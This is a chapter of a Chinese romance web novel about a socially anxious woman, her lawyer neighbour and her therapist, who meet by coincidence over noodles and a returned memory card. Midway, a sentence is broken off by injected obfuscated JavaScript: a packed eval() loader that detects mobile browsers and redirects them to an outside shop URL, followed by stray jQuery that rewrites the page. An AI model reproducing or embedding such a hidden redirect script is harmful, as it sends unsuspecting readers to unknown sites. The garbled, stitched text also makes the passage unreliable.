醉酒进错家门事件之后,连萌重回自闭状态,一周没出小区大门。
再次出门,是为了心理咨询。她跟她的心理咨询师祁予望固定约在周六下午。
连萌这周去主要是跟他吐槽了上周的事情,倾吐了她的难堪和愧疚,以及这些负面情绪让她再次回到了闭门不出的状态。
祁予望依然建议她出门,但告诉她不必非要为了社交目的出门,她最好稳定作息时间、保持运动——每天早上或晚上,出门散步或跑步,半个小时到一个小时。
良好的作息和简单的户外运动习惯有助于她的身心健康。不为了社交出门,则可以减少她对出门的恐惧,而适应出门,才应该是她恢复社交的第一步——由上周情况得知,连萌不适合太过急进的社交尝试,她需要循序渐进。
连萌收下建议,结束当天的咨询,打车回家。
她是内耗严重的人,事情已过一周,她还是会不断回想醉酒当晚她的不当行为,以及邻居主动向她公开监控视频的举动也加深了她对他的愧疚——那一晚的监控视频,她断断续续都看了,她的闯入吓到了陈律师,但他依然绅士得体,从头到尾没触碰过她的身体,并且细心地帮她盖了薄毯。
新闻里的社会恶性事件让她觉得抱有警惕心不是坏事,但怀疑了好心收留她一整晚的人,还是会让她心有愧疚。
连萌胡思乱想了一路,在清水湾门口下车时,时间已到晚饭点——今天她跟咨询师约的比较晚,出门晚,回来也晚。
说到晚饭,她突然有点馋小区旁边面馆里的牛肉面。
连萌便没直接进小区,转了方向去吃面。
面馆不大,但生意依然很好,这饭点时间,人更是恨不得堆着坐。
连萌运气挺好,她进去时,刚好有一桌客人起身,桌子位置也是她喜欢的角落。
服务员收拾完,她落座,要了一碗牛肉面,然后玩着手机等待。
后厨动作很快,没一会儿她的牛肉面就做好了。
跟她的面一起被服务员送来的,还有一个人。
小哥忙不过来,大声且匆忙地跟她打着招呼:“不好意思哦,小姐姐,客人太多,没地方坐了,这帅哥跟你拼个桌,好吧。”
连萌本来看着手机没抬头,可“帅哥”二字忽然让她小鹿乱撞了下,一瞬间产生了很多幻想——她想要的那种自然不刻意的缘分该不会终于来了吧?老天爷是要在如此平凡的日子里给她个惊喜吗?
连萌控制好表情,满怀期待一抬头——以为的惊喜突然变成了惊吓!
不得不跟她拼桌的人,是她的邻居——那位被她醉酒闯家,被她霸占沙发,还被她怀疑为人的律师先生。
在律师先生看向她之前,连萌慌忙低下头,脸几乎要埋进牛肉面碗里。
他边看着墙上的菜单,边在她对角线的位置坐下。
连萌悄悄瞥了他一眼,心想:家跟她住对门,怎么吃个面还能跟她坐对面呀。
要跟他打招呼吗?
要谢谢他主动向她公开监控视频吗?
那天道歉的话都是连翘说的,可明明是她闯的祸,她当时却因为对他抱有怀疑而态度很不诚恳,她现在对他真心感到抱歉和感谢,要再跟他说一遍吗?
连萌的思绪千回百转,但视线却始终只敢在面和手机之间游走——拉倒吧,她有心无力,主动跟人搭话不是她能做得到的事。
连萌死死低着头,选择假装没看见他。
耳边却听见他在跟服务员说:“我要一碗跟她一样的面。”
跟她?跟他?跟谁?
他该不会是在要跟她一样的面吧?
他认出她了吗?他们也不熟呀。
可是他跟连翘熟,熟悉连翘的长相不就等于熟悉她的长相。
他要是认出来了,她要不要直接假装自己是连翘?
不对,好荒唐,这也太容易被拆穿了。
连萌在心里跟自己聊上了,并且狠狠否决了自己,最终她决定还是早点把面吃完,尽快走人为好。
手里忙着吃面,并没耽误连萌用耳朵“观察”一切。
他的手机响了两次。
他的面来了。
他吃了一口后,在调料盘里拿了瓶调料。
他将调料又放回了调料盘。
他好像吃得很快。
他放下了筷子,还抽了两张纸巾,凳子也动了动。
他是吃完,要起身了吗?
连萌看了看自己还剩半碗面的碗——好吧,她也不是非要先走,他先走也一样。
男人站起身,没预警地在她碗旁边的桌面上敲了下。
连萌不得不抬头。
他说:“视频看完,内存卡放我鞋柜上。”
他认出她了。
连萌愣愣地点头,“好。”
然后,他走了。
连萌咽下嘴里的一口面,说不上是什么心情。
只是备忘录上多了一件事——要把律师先生的内存卡还给他。
——
吃完面回家,连萌犯起食困症,在沙发上懒了一会儿,才打起精神去洗澡。
等她洗完澡,吹完头发,摸到手机,终于想起来——对了,内存卡还没还。
她找出内存卡,穿着睡裙打开家门,手扶在门把上,脚步还没踏出门。
对面的门突然也开了。
连萌脑子都没来得及动,手上就条件反射似的迅速用力带上门。
关上门后,她才意识到自己这样也太刻意了吧,甚至有些不礼貌——可这就是她这个社恐常有的下意识,看见邻居出门就下意识关门,看见马路对面有熟人过来就下意识换路线。身体总是比她的头脑抢先动作。
连萌懊恼地想挠门,又怕挠门的声音万一被他听见,她更丢脸。
她只好无能狂怒,殴打空气,挥拳挥累了,最终泄下气来——算了,随他怎么看她。
她还是等到大家都睡了,夜里再悄悄出门还他内存卡吧。
—
陈述换上运动服,想去篮球馆打会儿球。
刚开家门的一瞬间,他明明看见邻居门里有人迈步像要往外走,结果下一秒,对面就传来震天响的关门声。
她是看见他出来了,所以又回去了?
陈述一头雾水。
连翘这妹妹虽然跟连翘长着一张脸,但性格好像大不相同,连翘聪明圆滑会表现,这妹妹——看起来无法适应社会的样子。
—
篮球馆里,中场休息时。
陈述跟哥们儿祁予望聊起搬新家之后的生活,无法避免地提到了他的邻居。
祁予望跟他平日里各忙各的,没要紧事不联系,碰上面了才会闲聊几句。
到今天,他才知道上周陈述搬家,他中途有事离开后,发生了多精彩的故事。
祁予望拿着毛巾擦汗,笑说:“世上还有这么巧的事,你竟然跟你手里实习生的双胞胎妹妹住对门?”
“嗯,她醉倒在我家沙发上的时候,我还以为她就是那个实习生。结果第二天跑来两个一模一样的人跟我道歉。”陈述喝了口运动饮料。
“还好不是什么莫名其妙的人,不然这种情况,你很容易有嘴说不清。”
陈述阴阳怪气,迅速回嘴:“那还不是要感谢你走的时候,门都不帮我关好。”
祁予望心虚地笑笑:“我确实走得急,谁能想到会发生邻居醉酒走错家门的状况。”
陈述瞥他一眼,“幸亏我在客厅装了监控。”
“监控?她们跟你胡搅蛮缠了?”祁予望以为陈述提到监控是因为他被纠缠了,然后用监控视频自证,从而得以脱身。
“没有,但一小姑娘早上突然发现自己在陌生的独居男人家醒来,你不给人家看看监控,人家哪能放心。”
说的也是。
祁予望好奇:“那你现在跟你这邻居抬头不见低头见的,尴不尴尬?”
“见也没怎么见,上班下班都没遇见过她。”陈述想起方才出门时被她关门回避的样子,“也有可能是她不想遇见我,所以才没遇见过。”
“什么意思?”
“她上周跟我道歉之后,我今天碰巧在面馆里跟她拼桌才又见到她,她全程没抬过头。然后我刚刚出门,她开门看见我,就立刻又把门关起来了。”
祁予望拥有身为心理咨询师的敏感度,他和陈述的看法不同:“听起来,她更像是对社交有所焦虑,通俗说法就是社恐。”
“社恐?”陈述下意识重复,细想之后,觉得她确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300558|152221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
实像。
祁予望接着说:“但她还能出去喝酒喝到找错家门,大概症状没到非常严重的程度,她自己要是有心控制,或者面对不会让她感到不适的人,兴许也能正常社交。”
陈述听明白了,这意思就是她面对他时相当不适。
“你以后要是什么时候能跟她说上话了,可以介绍她去我那儿聊聊。”祁予望这时候都没忘了给自己拉客户。
“跟她说上话?感觉没机会。”陈述摇着头,没有想要担此重任,下一句他就换了话题,“算了,别聊别人了。你最近怎么样?”
说到他最近的日子,祁予望深深叹息,“我近期生活的主旋律就是被催婚,我爸妈命令我赶紧找个女朋友,三十岁之前必须结婚。”
“那你找了吗?”
“没,所以我妈给我安排了明天相亲。”目前二十八岁的祁予望心如死灰。
“终于走到这一步了吗?”陈述幸灾乐祸,“祝你成功。”
祁予望见不得他这么快活,“你呢?叔叔阿姨不催你?”
陈述摆手,“我尽量避免跟他们谈到相关话题。”
“行,你千万别着急结婚。这样我爸妈跟我说我哪个同学的孩子都已经上幼儿园了的时候,我才能拿你当挡箭牌。”做心理行业的就是想得开,祁予望得知陈述并没与他受相同折磨后,一瞬间就给自己找到了新思路。
陈述哼笑一声,没发表太多意见,毕竟他俩因为各种事情互当挡箭牌的历史,可以追溯到高中阶段。
两人都早已习惯这样的定位。
—
在篮球馆打了两个小时的球,祁予望就近去陈述家冲了个澡,冲完两人聊球,越聊越欢,翻出以前的球赛重温。
看球看到十二点,祁予望才起身准备离开。
陈述犯困,径直走向卧室,“不送你了。”
进了卧室门,他又退出来,重点提醒祁予望:“把门给我关好。”
祁予望确实犯过错,他赔笑脸道:“知道了,放心。”
陈述甩上卧室门。
祁予望独自开门离开。
门一开,楼道里有亮光,陈述家门前的鞋柜旁还站了一人。
那人好像吓了一跳,迟疑了几秒,才总算开口:“陈律师,你的内存卡——”
她目光飘忽,说话也不抬头看人。
祁予望先觉得她眼熟,细看才发现真的是熟人,“连萌?”
他的来访者。
连萌听见耳熟的声音,抬眼看后,脸上表情更显惊讶,“祁老师。”
她都这样称呼他。
祁予望瞧着她,“你这是?”
午夜十二点,她出现在别人家门口确实容易引起误会。
连萌赶忙解释:“陈律师把他家监控的内存卡借给了我,他让我看完视频,把内存卡放他鞋柜上。”
“哦,那你把卡给我。”祁予望顺手将内存卡接下,放到了陈述家玄关柜上,然后他出门关门,问:“你这个点来还内存卡?”
“视频正好刚看完。”连萌下意识扯谎,后又想起他是她的心理咨询师,他什么都知道,她便坦诚地说:“我以为这个点不会遇见什么人。”
祁予望笑着看她,又看了眼对面灯光大亮的屋子,明知故问道:“你住这儿?”
连萌点头。
祁予望将人对上了号,原来那个醉酒进错陈述家的邻居是她。
而且,虽然之前不知情,但他们三人竟然两两都认识,这世界果然是无巧不成书。
祁予望主动向她解释:“我和陈述是高中同学。”
“哦,好巧。”连萌点点头,真的很意外。
话说到这里,空气安静了一会儿。
这时间,这地点,实在不适合长聊。
祁予望开口道别:“内存卡还了,你回家吧,我也走了,下次咨询见。”
连萌又点头,转身向她家走,到了门口,却没急着进门,她回头再次瞧了眼正在等电梯的祁予望。
他今天跟他们之前见面时的样子不太一样,衣着和发型都更加运动随性,说话也不是工作腔调,语气更随和,却依然温暖友好,像邻居家的大哥哥。
连萌迈步往家里走,关上门后,感觉到自己的心脏怦怦跳。